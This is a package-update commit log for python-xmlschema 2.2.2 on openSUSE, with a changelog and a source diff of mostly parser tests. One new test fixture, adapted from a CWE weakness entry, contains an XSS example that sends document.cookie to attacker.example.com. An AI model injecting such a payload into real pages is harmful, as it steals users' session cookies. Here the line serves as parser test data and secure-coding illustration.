Script 'mail_helper' called by obssrc
Hello community,
here is the log from the commit of package python-xmlschema for
openSUSE:Factory checked in at 2023-03-29 23:26:26
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Comparing /work/SRC/openSUSE:Factory/python-xmlschema (Old)
and /work/SRC/openSUSE:Factory/.python-xmlschema.new.31432 (New)
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Package is "python-xmlschema"
Wed Mar 29 23:26:26 2023 rev:20 rq:1074605 version:2.2.2
Changes:
--------
--- /work/SRC/openSUSE:Factory/python-xmlschema/python-xmlschema.changes
2023-02-11 22:20:07.168048762 +0100
+++
/work/SRC/openSUSE:Factory/.python-xmlschema.new.31432/python-xmlschema.changes
2023-03-29 23:26:35.651285561 +0200
@@ -1,0 +2,9 @@
+Mon Mar 27 08:24:52 UTC 2023 - Dirk Müller <[email protected]>
+
+- update to 2.2.2:
+ * Fix mixed content extension with empty content (issue #337)
+ * Fix lru_cache() usage on global maps caching
+ * Fix mixed content extension without explicit mixed attribute
+ (issue #334)
+
+-------------------------------------------------------------------
Old:
----
xmlschema-2.2.0.tar.gz
New:
----
xmlschema-2.2.2.tar.gz
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Other differences:
------------------
++++++ python-xmlschema.spec ++++++
--- /var/tmp/diff_new_pack.3Z85tj/_old 2023-03-29 23:26:37.659294995 +0200
+++ /var/tmp/diff_new_pack.3Z85tj/_new 2023-03-29 23:26:37.663295015 +0200
@@ -19,7 +19,7 @@
%{?!python_module:%define python_module() python-%{**} python3-%{**}}
%define skip_python2 1
Name: python-xmlschema
-Version: 2.2.0
+Version: 2.2.2
Release: 0
Summary: An XML Schema validator and decoder
License: MIT
++++++ xmlschema-2.2.0.tar.gz -> xmlschema-2.2.2.tar.gz ++++++
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/.coveragerc
new/xmlschema-2.2.2/.coveragerc
--- old/xmlschema-2.2.0/.coveragerc 1970-01-01 01:00:00.000000000 +0100
+++ new/xmlschema-2.2.2/.coveragerc 2023-03-05 21:36:43.000000000 +0100
@@ -0,0 +1,13 @@
+[run]
+branch = True
+source = xmlschema/
+omit =
+ xmlschema/testing/*
+
+[report]
+exclude_lines =
+ pragma: no cover
+ if TYPE_CHECKING:
+ raise NotImplementedError()
+ in self._etree_iterparse\(
+ in PyElementTree.iterparse\(
\ No newline at end of file
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/CHANGELOG.rst
new/xmlschema-2.2.2/CHANGELOG.rst
--- old/xmlschema-2.2.0/CHANGELOG.rst 2023-02-06 07:20:42.000000000 +0100
+++ new/xmlschema-2.2.2/CHANGELOG.rst 2023-03-05 21:30:24.000000000 +0100
@@ -2,6 +2,15 @@
CHANGELOG
*********
+`v2.2.2`_ (2023-03-05)
+======================
+* Fix mixed content extension with empty content (issue #337)
+* Fix lru_cache() usage on global maps caching
+
+`v2.2.1`_ (2023-02-11)
+======================
+* Fix mixed content extension without explicit mixed attribute (issue #334)
+
`v2.2.0`_ (2023-02-06)
======================
* Refine string serialization of XML resources and data elements
@@ -599,3 +608,5 @@
.. _v2.1.0: https://github.com/brunato/xmlschema/compare/v2.0.4...v2.1.0
.. _v2.1.1: https://github.com/brunato/xmlschema/compare/v2.1.0...v2.1.1
.. _v2.2.0: https://github.com/brunato/xmlschema/compare/v2.1.1...v2.2.0
+.. _v2.2.1: https://github.com/brunato/xmlschema/compare/v2.2.0...v2.2.1
+.. _v2.2.2: https://github.com/brunato/xmlschema/compare/v2.2.1...v2.2.2
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/MANIFEST.in
new/xmlschema-2.2.2/MANIFEST.in
--- old/xmlschema-2.2.0/MANIFEST.in 2022-05-20 22:00:14.000000000 +0200
+++ new/xmlschema-2.2.2/MANIFEST.in 2023-03-05 21:30:24.000000000 +0100
@@ -6,6 +6,8 @@
include setup.cfg
include requirements-dev.txt
include tox.ini
+include .coveragerc
+include mypy.ini
include doc/*
recursive-include xmlschema *
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/PKG-INFO new/xmlschema-2.2.2/PKG-INFO
--- old/xmlschema-2.2.0/PKG-INFO 2023-02-06 10:06:40.856029000 +0100
+++ new/xmlschema-2.2.2/PKG-INFO 2023-03-05 22:10:04.662572100 +0100
@@ -1,6 +1,6 @@
Metadata-Version: 2.1
Name: xmlschema
-Version: 2.2.0
+Version: 2.2.2
Summary: An XML Schema validator and decoder
Home-page: https://github.com/sissaschool/xmlschema
Author: Davide Brunato
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/doc/conf.py
new/xmlschema-2.2.2/doc/conf.py
--- old/xmlschema-2.2.0/doc/conf.py 2023-02-06 07:20:42.000000000 +0100
+++ new/xmlschema-2.2.2/doc/conf.py 2023-03-05 21:30:24.000000000 +0100
@@ -71,7 +71,7 @@
# General information about the project.
project = 'xmlschema'
-copyright = '2016-2022, SISSA - Scuola Internazionale Superiore di Studi
Avanzati'
+copyright = '2016-2023, SISSA - Scuola Internazionale Superiore di Studi
Avanzati'
author = 'Davide Brunato'
# The version info for the project you're documenting, acts as replacement for
@@ -81,7 +81,7 @@
# The short X.Y version.
version = '2.2'
# The full version, including alpha/beta/rc tags.
-release = '2.2.0'
+release = '2.2.2'
# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/mypy.ini new/xmlschema-2.2.2/mypy.ini
--- old/xmlschema-2.2.0/mypy.ini 1970-01-01 01:00:00.000000000 +0100
+++ new/xmlschema-2.2.2/mypy.ini 2022-03-07 14:26:41.000000000 +0100
@@ -0,0 +1,2 @@
+[mypy]
+show_error_codes = True
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/setup.py new/xmlschema-2.2.2/setup.py
--- old/xmlschema-2.2.0/setup.py 2023-02-06 07:20:42.000000000 +0100
+++ new/xmlschema-2.2.2/setup.py 2023-03-05 21:30:24.000000000 +0100
@@ -18,7 +18,7 @@
setup(
name='xmlschema',
- version='2.2.0',
+ version='2.2.2',
packages=find_packages(include=['xmlschema*']),
package_data={
'xmlschema': ['py.typed', 'locale/**/*.mo', 'locale/**/*.po',
'schemas/*/*.xsd'],
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore'
old/xmlschema-2.2.0/tests/test_cases/issues/issue_334/issue_334.xml
new/xmlschema-2.2.2/tests/test_cases/issues/issue_334/issue_334.xml
--- old/xmlschema-2.2.0/tests/test_cases/issues/issue_334/issue_334.xml
1970-01-01 01:00:00.000000000 +0100
+++ new/xmlschema-2.2.2/tests/test_cases/issues/issue_334/issue_334.xml
2023-02-11 11:41:50.000000000 +0100
@@ -0,0 +1,18 @@
+<Demonstrative_Examples xmlns="http://xmlschema.test/ns"
xmlns:xhtml="http://www.w3.org/1999/xhtml">
+ <Demonstrative_Example>
+ <Intro_Text>In this example, a cookie is used to store a
session ID for a client's interaction with a website. The intention is that the
cookie will be sent to the website with each request made by the
client.</Intro_Text>
+ <Body_Text>The snippet of code below establishes a new cookie
to hold the sessionID.</Body_Text>
+ <Example_Code Nature="Bad" Language="Java">
+ <xhtml:div>String sessionID =
generateSessionId();<xhtml:br/>Cookie c = new Cookie("session_id",
sessionID);<xhtml:br/>response.addCookie(c);</xhtml:div>
+ </Example_Code>
+ <Body_Text>The HttpOnly flag is not set for the cookie. An
attacker who can perform XSS could insert malicious script such as:</Body_Text>
+ <Example_Code Nature="Attack" Language="JavaScript">
+ <xhtml:div>document.write('<img
src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie .
'">'</xhtml:div>
+ </Example_Code>
+ <Body_Text>When the client loads and executes this script, it
makes a request to the attacker-controlled web site. The attacker can then log
the request and steal the cookie.</Body_Text>
+ <Body_Text>To mitigate the risk, use the setHttpOnly(true)
method.</Body_Text>
+ <Example_Code Nature="Good" Language="Java">
+ <xhtml:div>String sessionID =
generateSessionId();<xhtml:br/>Cookie c = new Cookie("session_id",
sessionID);<xhtml:br/>c.setHttpOnly(true);<xhtml:br/>response.addCookie(c);</xhtml:div>
+ </Example_Code>
+ </Demonstrative_Example>
+ </Demonstrative_Examples>
\ No newline at end of file
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore'
old/xmlschema-2.2.0/tests/test_cases/issues/issue_334/issue_334.xsd
new/xmlschema-2.2.2/tests/test_cases/issues/issue_334/issue_334.xsd
--- old/xmlschema-2.2.0/tests/test_cases/issues/issue_334/issue_334.xsd
1970-01-01 01:00:00.000000000 +0100
+++ new/xmlschema-2.2.2/tests/test_cases/issues/issue_334/issue_334.xsd
2023-02-11 11:41:50.000000000 +0100
@@ -0,0 +1,73 @@
+<?xml version="1.0"?>
+<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
+ xmlns:cwe="http://xmlschema.test/ns"
+ targetNamespace="http://xmlschema.test/ns"
+ elementFormDefault="qualified">
+ <!-- From https://github.com/sissaschool/xmlschema/issues/334 -->
+ <xs:element name="Demonstrative_Examples"
type="cwe:DemonstrativeExamplesType"/>
+
+ <!-- =============================================== -->
+ <!-- Types from CWE XSD schema with some adaptations -->
+ <!-- =============================================== -->
+ <xs:complexType name="StructuredTextType" mixed="true">
+ <xs:annotation>
+ <xs:documentation>The StructuredTextType complex type is used
to allow XHTML content embedded within standard string data. Some common
elements are: <BR/> to insert a line break,
<UL><LI/></UL> to create a bulleted list,
<OL><LI/></OL> to create a numbered list, and <DIV
style="margin-left: 40px"></DIV> to create a new indented
section.</xs:documentation>
+ </xs:annotation>
+ <xs:sequence>
+ <xs:any namespace="http://www.w3.org/1999/xhtml" minOccurs="0"
maxOccurs="unbounded" processContents="strict"/>
+ </xs:sequence>
+ </xs:complexType>
+
+ <xs:complexType name="StructuredCodeType" mixed="true">
+ <xs:annotation>
+ <xs:documentation>The StructuredCodeType complex type is used
to present source code examples and other structured text that is not a regular
paragraph. It allows embedded XHTML content to enable formatting of the code.
The required Nature attribute states what type of code the example shows. The
optional Language attribute states which source code language is used in the
example. This is mostly appropriate when the Nature is "good" or
"bad".</xs:documentation>
+ </xs:annotation>
+ <xs:sequence>
+ <xs:any namespace="http://www.w3.org/1999/xhtml" minOccurs="0"
maxOccurs="unbounded" processContents="strict"/>
+ </xs:sequence>
+ <xs:attribute name="Language" type="xs:string"/>
+ <xs:attribute name="Nature" type="xs:string"
use="required"></xs:attribute>
+ </xs:complexType>
+
+ <xs:complexType name="ReferencesType">
+ <xs:annotation>
+ <xs:documentation>The ReferencesType complex type contains one
or more reference elements, each of which is used to link to an external
reference defined within the catalog. The required External_Reference_ID
attribute represents the external reference entry being linked to (e.g.,
REF-1). Text or quotes within the same CWE entity can cite this
External_Reference_ID similar to how a footnote is used, and should use the
format [REF-1]. The optional Section attribute holds any section title or page
number that is specific to this use of the reference.</xs:documentation>
+ </xs:annotation>
+ <xs:sequence>
+ <xs:element name="Reference" minOccurs="1"
maxOccurs="unbounded">
+ <xs:complexType>
+ <xs:attribute name="External_Reference_ID"
type="xs:string" use="required"/>
+ <xs:attribute name="Section" type="xs:string"/>
+ </xs:complexType>
+ </xs:element>
+ </xs:sequence>
+ </xs:complexType>
+ <!-- =============================================== -->
+ <!-- =============================================== -->
+ <!-- =============================================== -->
+
+ <xs:complexType name="DemonstrativeExamplesType">
+ <xs:annotation>
+ <xs:documentation>The DemonstrativeExamplesType complex
type contains one or more Demonstrative_Example elements, each of which
contains an example illustrating how a weakness may look in actual code. The
optional Title_Text element provides a title for the example. The Intro_Text
element describes the context and setting in which this code should be viewed,
summarizing what the code is attempting to do. The Body_Text and Example_Code
elements are a mixture of code and explanatory text about the example. The
References element provides additional information.</xs:documentation>
+ <xs:documentation>The optional Demonstrative_Example_ID
attribute is used by the internal CWE team to uniquely identify examples that
are repeated across any number of individual weaknesses. To help make sure that
the details of these common examples stay synchronized, the
Demonstrative_Example_ID is used to quickly identify those examples across CWE
that should be identical. The identifier is a string and should match the
following format: DX-1.</xs:documentation>
+ </xs:annotation>
+
+ <xs:sequence>
+ <xs:element name="Demonstrative_Example" minOccurs="1"
maxOccurs="unbounded">
+ <xs:complexType>
+ <xs:sequence>
+ <xs:element name="Title_Text"
type="xs:string" minOccurs="0" maxOccurs="1"/>
+ <xs:element name="Intro_Text"
type="cwe:StructuredTextType" minOccurs="1" maxOccurs="1"/>
+ <xs:choice minOccurs="0"
maxOccurs="unbounded">
+ <xs:element
name="Body_Text" type="cwe:StructuredTextType"/>
+ <xs:element
name="Example_Code" type="cwe:StructuredCodeType"/>
+ </xs:choice>
+ <xs:element name="References"
type="cwe:ReferencesType" minOccurs="0" maxOccurs="1"/>
+ </xs:sequence>
+ <xs:attribute
name="Demonstrative_Example_ID" type="xs:string"/>
+ </xs:complexType>
+ </xs:element>
+ </xs:sequence>
+ </xs:complexType>
+
+</xs:schema>
\ No newline at end of file
Binary files
old/xmlschema-2.2.0/tests/test_cases/issues/issue_334/issue_334.zip and
new/xmlschema-2.2.2/tests/test_cases/issues/issue_334/issue_334.zip differ
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/tests/test_codegen.py
new/xmlschema-2.2.2/tests/test_codegen.py
--- old/xmlschema-2.2.0/tests/test_codegen.py 2022-07-18 16:19:15.000000000
+0200
+++ new/xmlschema-2.2.2/tests/test_codegen.py 2023-02-11 11:41:50.000000000
+0100
@@ -87,6 +87,7 @@
xmlns:tns="http://xmlschema.test/ns"
targetNamespace="http://xmlschema.test/ns">
+ <xs:import /> <!-- for resolving local names in tests -->
<xs:element name="root" type="xs:string" />
<xs:complexType name="type3">
@@ -544,6 +545,14 @@
self.assertTrue(self.generator.derivation(self.schema.types['type1'],
'tns:type1'))
self.assertTrue(self.generator.restriction(self.schema.types['type6'],
'xs:float'))
+ self.assertFalse(self.generator.is_derived(
+ self.schema.types['type1'], '{http://xmlschema.test/ns}foo'
+ ))
+ self.assertFalse(self.generator.is_derived(
+ self.schema.types['type1'], '{http://xmlschema.test/ns}bar'
+ ))
+ self.assertFalse(self.generator.is_derived(self.schema.types['type1'],
'bar', 'foo'))
+
def test_multi_sequence(self):
self.assertFalse(self.generator.multi_sequence(self.schema.types['type3']))
self.assertTrue(self.generator.multi_sequence(self.schema.types['type2']))
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/tests/test_namespaces.py
new/xmlschema-2.2.2/tests/test_namespaces.py
--- old/xmlschema-2.2.0/tests/test_namespaces.py 2022-05-20
18:16:20.000000000 +0200
+++ new/xmlschema-2.2.2/tests/test_namespaces.py 2023-02-11
11:41:50.000000000 +0100
@@ -166,6 +166,9 @@
self.assertEqual(mapper.unmap_qname('element'), '{foo}element')
self.assertEqual(mapper.unmap_qname('element',
name_table=['element']), 'element')
+ mapper.strip_namespaces = True
+ self.assertEqual(mapper.unmap_qname('element'), 'element')
+
def test_transfer(self):
mapper = NamespaceMapper(namespaces={'xs': XSD_NAMESPACE, 'xsi':
XSI_NAMESPACE})
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/tests/test_package.py
new/xmlschema-2.2.2/tests/test_package.py
--- old/xmlschema-2.2.0/tests/test_package.py 2021-10-20 17:54:35.000000000
+0200
+++ new/xmlschema-2.2.2/tests/test_package.py 2023-03-05 21:33:42.000000000
+0100
@@ -41,7 +41,8 @@
filename = None
file_excluded = []
files = glob.glob(os.path.join(self.source_dir, '*.py')) + \
- glob.glob(os.path.join(self.source_dir, 'validators/*.py'))
+ glob.glob(os.path.join(self.source_dir, 'validators/*.py')) + \
+ glob.glob(os.path.join(self.source_dir, 'converters/*.py'))
for line in fileinput.input(files):
if fileinput.isfirstline():
filename = fileinput.filename()
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/tests/test_xpath.py
new/xmlschema-2.2.2/tests/test_xpath.py
--- old/xmlschema-2.2.0/tests/test_xpath.py 2022-07-18 16:19:15.000000000
+0200
+++ new/xmlschema-2.2.2/tests/test_xpath.py 2023-02-11 11:41:50.000000000
+0100
@@ -19,7 +19,7 @@
from xmlschema import XMLSchema10, XMLSchema11
from xmlschema.names import XSD_NAMESPACE
-from xmlschema.xpath import XMLSchemaProxy, XPathElement
+from xmlschema.xpath import XMLSchemaProxy, LazyElementNode, XPathElement
from xmlschema.validators import XsdAtomic, XsdAtomicRestriction
CASES_DIR = os.path.join(os.path.dirname(__file__), 'test_cases/')
@@ -156,6 +156,13 @@
self.assertIsInstance(xpath_proxy, XMLSchemaProxy)
self.assertIs(xpath_proxy._schema, self.col_schema)
+ def test_xpath_node(self):
+ elem = XPathElement('foo', self.col_schema.types['objType'])
+ xpath_node = elem.xpath_node
+ self.assertIsInstance(xpath_node, LazyElementNode)
+ self.assertIs(xpath_node, elem._xpath_node)
+ self.assertIs(xpath_node, elem.xpath_node)
+
def test_schema(self):
elem = XPathElement('foo', self.col_schema.types['objType'])
self.assertIs(elem.schema, self.col_schema)
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/tests/validation/test_decoding.py
new/xmlschema-2.2.2/tests/validation/test_decoding.py
--- old/xmlschema-2.2.0/tests/validation/test_decoding.py 2023-02-06
07:20:42.000000000 +0100
+++ new/xmlschema-2.2.2/tests/validation/test_decoding.py 2023-02-11
11:41:50.000000000 +0100
@@ -1317,6 +1317,64 @@
'@attr_2': 'value_2'}]}}
)
+ def test_mixed_content_decode__issue_334(self):
+ schema = self.schema_class("""
+ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
+
+ <xs:complexType name="mixedContentType" mixed="true">
+ <xs:sequence>
+ <xs:element name="elem1" maxOccurs="unbounded"/>
+ </xs:sequence>
+ </xs:complexType>
+
+ <xs:element name="foo">
+ <xs:complexType>
+ <xs:complexContent>
+ <xs:extension base="mixedContentType">
+ <xs:attribute name="bar" type="xs:string" />
+ </xs:extension>
+ </xs:complexContent>
+ </xs:complexType>
+ </xs:element>
+
+ <xs:element name="root" type="mixedContentType" />
+
+ </xs:schema>
+ """)
+
+ result = schema.decode('<root>text1<elem1/>tail1<elem1/>tail2</root>')
+ self.assertEqual(result, {'elem1': [None, None]})
+
+ result = schema.decode('<root>text1<elem1/>tail1<elem1/>tail2</root>',
cdata_prefix='#')
+ self.assertEqual(result, {'#1': 'text1',
+ 'elem1': [None, None],
+ '#2': 'tail1',
+ '#3': 'tail2'})
+ result = schema.decode('<root>text1<elem1/>tail1<elem1/>tail2</root>',
cdata_prefix='')
+ self.assertEqual(result, {'1': 'text1',
+ 'elem1': [None, None],
+ '2': 'tail1',
+ '3': 'tail2'})
+
+ xsd_file = self.casepath('issues/issue_334/issue_334.xsd')
+ xml_file = self.casepath('issues/issue_334/issue_334.xml')
+ xs = self.schema_class(xsd_file)
+ result = xs.decode(xml_file)
+ body_text = result['Demonstrative_Example'][0]['Body_Text']
+
+ expected = ['The snippet of code below establishes a new cookie to
hold the sessionID.',
+ 'The HttpOnly flag is not set for the cookie. An attacker
who can perform '
+ 'XSS could insert malicious script such as:',
+ 'When the client loads and executes this script, it makes
a request to the '
+ 'attacker-controlled web site. The attacker can then log
the request and '
+ 'steal the cookie.',
+ 'To mitigate the risk, use the setHttpOnly(true) method.']
+ self.assertListEqual(body_text, expected)
+
+ result = xs.decode(xml_file, preserve_root=True)
+ body_text =
result['Demonstrative_Examples']['Demonstrative_Example'][0]['Body_Text']
+ self.assertListEqual(body_text, expected)
+
class TestDecoding11(TestDecoding):
schema_class = XMLSchema11
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore'
old/xmlschema-2.2.0/tests/validators/test_complex_types.py
new/xmlschema-2.2.2/tests/validators/test_complex_types.py
--- old/xmlschema-2.2.0/tests/validators/test_complex_types.py 2022-09-26
12:47:27.000000000 +0200
+++ new/xmlschema-2.2.2/tests/validators/test_complex_types.py 2023-03-05
21:30:24.000000000 +0100
@@ -481,6 +481,272 @@
self.assertIsNone(schema.build())
self.assertTrue(schema.built)
+ def test_mixed_content_extension__issue_334(self):
+ schema = self.schema_class(dedent("""\
+ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
+
+ <xs:complexType name="mixedContentType" mixed="true">
+ <xs:sequence>
+ <xs:element name="elem1"/>
+ </xs:sequence>
+ </xs:complexType>
+
+ <xs:element name="foo">
+ <xs:complexType>
+ <xs:complexContent>
+ <xs:extension base="mixedContentType">
+ <xs:attribute name="bar" type="xs:string" use="required" />
+ </xs:extension>
+ </xs:complexContent>
+ </xs:complexType>
+ </xs:element>
+
+ </xs:schema>
+ """))
+
+ self.assertTrue(schema.types['mixedContentType'].mixed)
+ self.assertTrue(schema.elements['foo'].type.mixed)
+ self.assertTrue(schema.elements['foo'].type.content.mixed)
+
+ def test_mixed_content_extension__issue_337(self):
+ schema = self.schema_class(dedent("""\
+ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
+ <!-- Valid schema: the derived type adds empty content -->
+ <xs:complexType name="baseType" mixed="true">
+ <xs:sequence>
+ <xs:element name="elem1"/>
+ </xs:sequence>
+ </xs:complexType>
+ <xs:complexType name="derivedType">
+ <xs:complexContent>
+ <xs:extension base="baseType">
+ </xs:extension>
+ </xs:complexContent>
+ </xs:complexType>
+ </xs:schema>"""))
+
+ self.assertTrue(schema.types['baseType'].mixed)
+ self.assertEqual(schema.types['baseType'].content_type_label, 'mixed')
+ self.assertTrue(schema.types['derivedType'].mixed)
+ self.assertEqual(schema.types['derivedType'].content_type_label,
'mixed')
+
+ with self.assertRaises(XMLSchemaParseError):
+ self.schema_class(dedent("""\
+ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
+ <!-- Invalid schema: the derived type adds element-only
content -->
+ <xs:complexType name="baseType" mixed="true">
+ <xs:sequence>
+ <xs:element name="elem1"/>
+ </xs:sequence>
+ </xs:complexType>
+ <xs:complexType name="derivedType">
+ <xs:complexContent>
+ <xs:extension base="baseType">
+ <xs:sequence>
+ <xs:element name="elem2"/>
+ </xs:sequence>
+ </xs:extension>
+ </xs:complexContent>
+ </xs:complexType>
+ </xs:schema>"""))
+
+ schema = self.schema_class(dedent("""\
+ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
+ <!-- Valid schema: the derived type adds mixed content -->
+ <xs:complexType name="baseType" mixed="true">
+ </xs:complexType>
+ <xs:complexType name="derivedType">
+ <xs:complexContent mixed="true">
+ <xs:extension base="baseType">
+ <xs:sequence>
+ <xs:element name="elem1"/>
+ </xs:sequence>
+ </xs:extension>
+ </xs:complexContent>
+ </xs:complexType>
+ </xs:schema>"""))
+
+ self.assertTrue(schema.types['baseType'].mixed)
+ self.assertEqual(schema.types['baseType'].content_type_label, 'mixed')
+ self.assertTrue(schema.types['derivedType'].mixed)
+ self.assertEqual(schema.types['derivedType'].content_type_label,
'mixed')
+
+ with self.assertRaises(XMLSchemaParseError):
+ self.schema_class(dedent("""\
+ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
+ <!-- Invalid schema: the derived type adds element-only
content -->
+ <xs:complexType name="baseType" mixed="true">
+ </xs:complexType>
+ <xs:complexType name="derivedType">
+ <xs:complexContent>
+ <xs:extension base="baseType">
+ <xs:sequence>
+ <xs:element name="elem1"/>
+ </xs:sequence>
+ </xs:extension>
+ </xs:complexContent>
+ </xs:complexType>
+ </xs:schema>"""))
+
+ def test_empty_content_extension(self):
+ schema = self.schema_class(dedent("""\
+ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
+ <xs:complexType name="baseType" mixed="false">
+ </xs:complexType>
+ <xs:complexType name="derivedType" mixed="true">
+ <xs:complexContent>
+ <xs:extension base="baseType"/>
+ </xs:complexContent>
+ </xs:complexType>
+ </xs:schema>"""))
+
+ self.assertFalse(schema.types['baseType'].mixed)
+ self.assertEqual(schema.types['baseType'].content_type_label, 'empty')
+ self.assertTrue(schema.types['derivedType'].mixed)
+ self.assertEqual(schema.types['derivedType'].content_type_label,
'mixed')
+
+ schema = self.schema_class(dedent("""\
+ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
+ <xs:complexType name="baseType" mixed="false">
+ </xs:complexType>
+ <xs:complexType name="derivedType">
+ <xs:complexContent>
+ <xs:extension base="baseType"/>
+ </xs:complexContent>
+ </xs:complexType>
+ </xs:schema>"""))
+
+ self.assertFalse(schema.types['baseType'].mixed)
+ self.assertEqual(schema.types['baseType'].content_type_label, 'empty')
+ self.assertFalse(schema.types['derivedType'].mixed)
+ self.assertEqual(schema.types['derivedType'].content_type_label,
'empty')
+
+ schema = self.schema_class(dedent("""\
+ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
+ <xs:complexType name="baseType" mixed="false">
+ </xs:complexType>
+ <xs:complexType name="derivedType">
+ <xs:complexContent>
+ <xs:extension base="baseType">
+ <xs:sequence>
+ <xs:element name="elem1"/>
+ </xs:sequence>
+ </xs:extension>
+ </xs:complexContent>
+ </xs:complexType>
+ </xs:schema>"""))
+
+ self.assertFalse(schema.types['baseType'].mixed)
+ self.assertEqual(schema.types['baseType'].content_type_label, 'empty')
+ self.assertFalse(schema.types['derivedType'].mixed)
+ self.assertEqual(schema.types['derivedType'].content_type_label,
'element-only')
+
+ def test_element_only_content_extension(self):
+
+ schema = self.schema_class(dedent("""\
+ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
+ <xs:complexType name="baseType" mixed="false">
+ <xs:sequence>
+ <xs:element name="elem1"/>
+ </xs:sequence>
+ </xs:complexType>
+ <xs:complexType name="derivedType">
+ <xs:complexContent>
+ <xs:extension base="baseType"/>
+ </xs:complexContent>
+ </xs:complexType>
+ </xs:schema>"""))
+
+ self.assertFalse(schema.types['baseType'].mixed)
+ self.assertEqual(schema.types['baseType'].content_type_label,
'element-only')
+ self.assertFalse(schema.types['derivedType'].mixed)
+ self.assertEqual(schema.types['derivedType'].content_type_label,
'element-only')
+
+ with self.assertRaises(XMLSchemaParseError):
+ self.schema_class(dedent("""\
+ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
+ <!-- Invalid schema: the derived type adds mixed content -->
+ <xs:complexType name="baseType">
+ <xs:sequence>
+ <xs:element name="elem1"/>
+ </xs:sequence>
+ </xs:complexType>
+ <xs:complexType name="derivedType" mixed="true">
+ <xs:complexContent>
+ <xs:extension base="baseType">
+ <xs:sequence>
+ <xs:element name="elem2"/>
+ </xs:sequence>
+ </xs:extension>
+ </xs:complexContent>
+ </xs:complexType>
+ </xs:schema>"""))
+
+ with self.assertRaises(XMLSchemaParseError):
+ self.schema_class(dedent("""\
+ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
+ <!-- Invalid schema: the derived type adds mixed content -->
+ <xs:complexType name="baseType">
+ <xs:sequence>
+ <xs:element name="elem1"/>
+ </xs:sequence>
+ </xs:complexType>
+ <xs:complexType name="derivedType" mixed="true">
+ <xs:complexContent>
+ <xs:extension base="baseType"/>
+ </xs:complexContent>
+ </xs:complexType>
+ </xs:schema>"""))
+
+ def test_any_type_extension(self):
+ schema = self.schema_class(dedent("""\
+ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
+ <xs:complexType name="derivedType">
+ <xs:complexContent>
+ <xs:extension base="xs:anyType"/>
+ </xs:complexContent>
+ </xs:complexType>
+ </xs:schema>"""))
+
+ self.assertTrue(schema.types['derivedType'].mixed)
+ self.assertEqual(schema.types['derivedType'].content_type_label,
'mixed')
+
+ xsd_source = dedent("""\
+ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
+ <xs:complexType name="derivedType">
+ <xs:complexContent mixed="true">
+ <xs:extension base="xs:anyType">
+ <xs:sequence>
+ <xs:element name="elem1"/>
+ </xs:sequence>
+ </xs:extension>
+ </xs:complexContent>
+ </xs:complexType>
+ </xs:schema>""")
+
+ if self.schema_class.XSD_VERSION == '1.0':
+ with self.assertRaises(XMLSchemaModelError):
+ self.schema_class(xsd_source)
+ else:
+ schema = self.schema_class(xsd_source)
+ self.assertTrue(schema.types['derivedType'].mixed)
+ self.assertEqual(schema.types['derivedType'].content_type_label,
'mixed')
+
+ with self.assertRaises(XMLSchemaParseError):
+ self.schema_class(dedent("""\
+ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
+ <!-- Invalid schema: derived type content is element-only -->
+ <xs:complexType name="derivedType">
+ <xs:complexContent>
+ <xs:extension base="xs:anyType">
+ <xs:sequence>
+ <xs:element name="elem1"/>
+ </xs:sequence>
+ </xs:extension>
+ </xs:complexContent>
+ </xs:complexType>
+ </xs:schema>"""))
+
class TestXsd11ComplexType(TestXsdComplexType):
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn'
'--exclude=.svnignore' old/xmlschema-2.2.0/tox.ini new/xmlschema-2.2.2/tox.ini
